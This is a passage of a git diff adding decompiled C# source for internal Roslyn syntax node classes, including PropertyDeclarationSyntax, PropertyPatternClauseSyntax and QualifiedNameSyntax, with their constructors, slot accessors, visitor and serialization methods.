kind, TypeSyntax type, ArgumentListSyntax argumentList, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal PrimaryConstructorBaseTypeSyntax(SyntaxKind kind, TypeSyntax type, ArgumentListSyntax argumentList, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal PrimaryConstructorBaseTypeSyntax(SyntaxKind kind, TypeSyntax type, ArgumentListSyntax argumentList) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => type, + 1 => argumentList, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.PrimaryConstructorBaseTypeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPrimaryConstructorBaseType(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPrimaryConstructorBaseType(this); + } + + public PrimaryConstructorBaseTypeSyntax Update(TypeSyntax type, ArgumentListSyntax argumentList) + { + if (type != Type || argumentList != ArgumentList) + { + PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax = SyntaxFactory.PrimaryConstructorBaseType(type, argumentList); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + primaryConstructorBaseTypeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(primaryConstructorBaseTypeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + primaryConstructorBaseTypeSyntax = GreenNodeExtensions.WithAnnotationsGreen(primaryConstructorBaseTypeSyntax, (IEnumerable)annotations); + } + return primaryConstructorBaseTypeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new PrimaryConstructorBaseTypeSyntax(base.Kind, type, argumentList, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new PrimaryConstructorBaseTypeSyntax(base.Kind, type, argumentList, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal PrimaryConstructorBaseTypeSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + ArgumentListSyntax argumentListSyntax = (ArgumentListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentListSyntax); + argumentList = argumentListSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)argumentList); + } + + static PrimaryConstructorBaseTypeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(PrimaryConstructorBaseTypeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new PrimaryConstructorBaseTypeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PropertyDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PropertyDeclarationSyntax.cs new file mode 100644 index 0000000..16c1678 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PropertyDeclarationSyntax.cs @@ -0,0 +1,326 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class PropertyDeclarationSyntax : BasePropertyDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly TypeSyntax type; + + internal readonly ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier; + + internal readonly SyntaxToken identifier; + + internal readonly AccessorListSyntax? accessorList; + + internal readonly ArrowExpressionClauseSyntax? expressionBody; + + internal readonly EqualsValueClauseSyntax? initializer; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public override TypeSyntax Type => type; + + public override ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => explicitInterfaceSpecifier; + + public SyntaxToken Identifier => identifier; + + public override AccessorListSyntax? AccessorList => accessorList; + + public ArrowExpressionClauseSyntax? ExpressionBody => expressionBody; + + public EqualsValueClauseSyntax? Initializer => initializer; + + public SyntaxToken? SemicolonToken => semicolonToken; + + internal PropertyDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax? accessorList, ArrowExpressionClauseSyntax? expressionBody, EqualsValueClauseSyntax? initializer, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (accessorList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)accessorList); + this.accessorList = accessorList; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal PropertyDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax? accessorList, ArrowExpressionClauseSyntax? expressionBody, EqualsValueClauseSyntax? initializer, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (accessorList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)accessorList); + this.accessorList = accessorList; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal PropertyDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax? accessorList, ArrowExpressionClauseSyntax? expressionBody, EqualsValueClauseSyntax? initializer, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (accessorList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)accessorList); + this.accessorList = accessorList; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => type, + 3 => explicitInterfaceSpecifier, + 4 => identifier, + 5 => accessorList, + 6 => expressionBody, + 7 => initializer, + 8 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.PropertyDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPropertyDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPropertyDeclaration(this); + } + + public PropertyDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax accessorList, ArrowExpressionClauseSyntax expressionBody, EqualsValueClauseSyntax initializer, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || type != Type || explicitInterfaceSpecifier != ExplicitInterfaceSpecifier || identifier != Identifier || accessorList != AccessorList || expressionBody != ExpressionBody || initializer != Initializer || semicolonToken != SemicolonToken) + { + PropertyDeclarationSyntax propertyDeclarationSyntax = SyntaxFactory.PropertyDeclaration(attributeLists, modifiers, type, explicitInterfaceSpecifier, identifier, accessorList, expressionBody, initializer, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + propertyDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(propertyDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + propertyDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(propertyDeclarationSyntax, (IEnumerable)annotations); + } + return propertyDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new PropertyDeclarationSyntax(base.Kind, attributeLists, modifiers, type, explicitInterfaceSpecifier, identifier, accessorList, expressionBody, initializer, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new PropertyDeclarationSyntax(base.Kind, attributeLists, modifiers, type, explicitInterfaceSpecifier, identifier, accessorList, expressionBody, initializer, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal PropertyDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 9; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax = (ExplicitInterfaceSpecifierSyntax)reader.ReadValue(); + if (explicitInterfaceSpecifierSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifierSyntax); + explicitInterfaceSpecifier = explicitInterfaceSpecifierSyntax; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + AccessorListSyntax accessorListSyntax = (AccessorListSyntax)reader.ReadValue(); + if (accessorListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)accessorListSyntax); + accessorList = accessorListSyntax; + } + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = (ArrowExpressionClauseSyntax)reader.ReadValue(); + if (arrowExpressionClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowExpressionClauseSyntax); + expressionBody = arrowExpressionClauseSyntax; + } + EqualsValueClauseSyntax equalsValueClauseSyntax = (EqualsValueClauseSyntax)reader.ReadValue(); + if (equalsValueClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsValueClauseSyntax); + initializer = equalsValueClauseSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + semicolonToken = syntaxToken2; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)explicitInterfaceSpecifier); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)accessorList); + writer.WriteValue((IObjectWritable)(object)expressionBody); + writer.WriteValue((IObjectWritable)(object)initializer); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static PropertyDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(PropertyDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new PropertyDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PropertyPatternClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PropertyPatternClauseSyntax.cs new file mode 100644 index 0000000..c25a594 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PropertyPatternClauseSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class PropertyPatternClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken openBraceToken; + + internal readonly GreenNode? subpatterns; + + internal readonly SyntaxToken closeBraceToken; + + public SyntaxToken OpenBraceToken => openBraceToken; + + public SeparatedSyntaxList Subpatterns => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(subpatterns))); + + public SyntaxToken CloseBraceToken => closeBraceToken; + + internal PropertyPatternClauseSyntax(SyntaxKind kind, SyntaxToken openBraceToken, GreenNode? subpatterns, SyntaxToken closeBraceToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (subpatterns != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(subpatterns); + this.subpatterns = subpatterns; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal PropertyPatternClauseSyntax(SyntaxKind kind, SyntaxToken openBraceToken, GreenNode? subpatterns, SyntaxToken closeBraceToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (subpatterns != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(subpatterns); + this.subpatterns = subpatterns; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal PropertyPatternClauseSyntax(SyntaxKind kind, SyntaxToken openBraceToken, GreenNode? subpatterns, SyntaxToken closeBraceToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (subpatterns != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(subpatterns); + this.subpatterns = subpatterns; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openBraceToken, + 1 => subpatterns, + 2 => closeBraceToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.PropertyPatternClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPropertyPatternClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPropertyPatternClause(this); + } + + public PropertyPatternClauseSyntax Update(SyntaxToken openBraceToken, SeparatedSyntaxList subpatterns, SyntaxToken closeBraceToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openBraceToken == OpenBraceToken) + { + SeparatedSyntaxList val = Subpatterns; + if (!((ref subpatterns) != (ref val)) && closeBraceToken == CloseBraceToken) + { + return this; + } + } + PropertyPatternClauseSyntax propertyPatternClauseSyntax = SyntaxFactory.PropertyPatternClause(openBraceToken, subpatterns, closeBraceToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + propertyPatternClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(propertyPatternClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + propertyPatternClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(propertyPatternClauseSyntax, (IEnumerable)annotations); + } + return propertyPatternClauseSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new PropertyPatternClauseSyntax(base.Kind, openBraceToken, subpatterns, closeBraceToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new PropertyPatternClauseSyntax(base.Kind, openBraceToken, subpatterns, closeBraceToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal PropertyPatternClauseSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBraceToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + subpatterns = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBraceToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)subpatterns); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + } + + static PropertyPatternClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(PropertyPatternClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new PropertyPatternClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QualifiedCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QualifiedCrefSyntax.cs new file mode 100644 index 0000000..3d8ccb8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QualifiedCrefSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class QualifiedCrefSyntax : CrefSyntax +{ + internal readonly TypeSyntax container; + + internal readonly SyntaxToken dotToken; + + internal readonly MemberCrefSyntax member; + + public TypeSyntax Container => container; + + public SyntaxToken DotToken => dotToken; + + public MemberCrefSyntax Member => member; + + internal QualifiedCrefSyntax(SyntaxKind kind, TypeSyntax container, SyntaxToken dotToken, MemberCrefSyntax member, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)container); + this.container = container; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)dotToken); + this.dotToken = dotToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)member); + this.member = member; + } + + internal QualifiedCrefSyntax(SyntaxKind kind, TypeSyntax container, SyntaxToken dotToken, MemberCrefSyntax member, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)container); + this.container = container; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)dotToken); + this.dotToken = dotToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)member); + this.member = member; + } + + internal QualifiedCrefSyntax(SyntaxKind kind, TypeSyntax container, SyntaxToken dotToken, MemberCrefSyntax member) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)container); + this.container = container; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)dotToken); + this.dotToken = dotToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)member); + this.member = member; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => container, + 1 => dotToken, + 2 => member, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedCrefSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitQualifiedCref(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitQualifiedCref(this); + } + + public QualifiedCrefSyntax Update(TypeSyntax container, SyntaxToken dotToken, MemberCrefSyntax member) + { + if (container != Container || dotToken != DotToken || member != Member) + { + QualifiedCrefSyntax qualifiedCrefSyntax = SyntaxFactory.QualifiedCref(container, dotToken, member); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + qualifiedCrefSyntax = GreenNodeExtensions.WithDiagnosticsGreen(qualifiedCrefSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + qualifiedCrefSyntax = GreenNodeExtensions.WithAnnotationsGreen(qualifiedCrefSyntax, (IEnumerable)annotations); + } + return qualifiedCrefSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new QualifiedCrefSyntax(base.Kind, container, dotToken, member, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new QualifiedCrefSyntax(base.Kind, container, dotToken, member, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal QualifiedCrefSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + container = typeSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + dotToken = syntaxToken; + MemberCrefSyntax memberCrefSyntax = (MemberCrefSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)memberCrefSyntax); + member = memberCrefSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)container); + writer.WriteValue((IObjectWritable)(object)dotToken); + writer.WriteValue((IObjectWritable)(object)member); + } + + static QualifiedCrefSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(QualifiedCrefSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new QualifiedCrefSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QualifiedNameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QualifiedNameSyntax.cs new file mode 100644 index 0000000..4f49a72 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QualifiedNameSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class QualifiedNameSyntax : NameSyntax +{ + internal readonly NameSyntax left; + + internal readonly SyntaxToken dotToken; + + internal readonly SimpleNameSyntax right; + + public NameSyntax Left => left; + + public SyntaxToken DotToken => dotToken; + + public SimpleNameSyntax Right => right; + + internal QualifiedNameSyntax(SyntaxKind kind, NameSyntax left, SyntaxToken dotToken, SimpleNameSyntax right, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)left); + this.left = left; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)dotToken); + this.dotToken = dotToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)right); + this.right = right; + } + + internal 